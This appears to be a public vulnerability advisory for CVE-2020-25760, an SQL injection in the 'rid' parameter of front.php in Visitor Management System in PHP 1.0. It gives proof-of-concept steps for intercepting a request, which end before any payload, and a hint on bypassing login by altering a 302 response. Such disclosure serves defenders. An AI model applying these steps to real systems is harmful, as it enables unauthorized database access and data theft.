eb513471e0235ff5f467e06b619ab1d2# Title: Visitor Management System in PHP 1.0 - Authenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link:
https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25760
# Description
The file front.php does not perform input validation on the 'rid'
parameter. An attacker can append SQL queries to the input to extract
sensitive information from the database.
Note: This exploit can work pre-authentication as well, but need to change
the 302 Response to 200 using an intercept tool. It should be pretty
straight forward so I have not shown how.
#POC
1) Navigate to the login page
Example:
http://192.168.1.72/visitor_management/index.php
2) Enter 'username' and 'password'
3) On the homepage, click on any visitor name and intercept the request
4) Save the request to file. Example, visitor_management_sqli.req
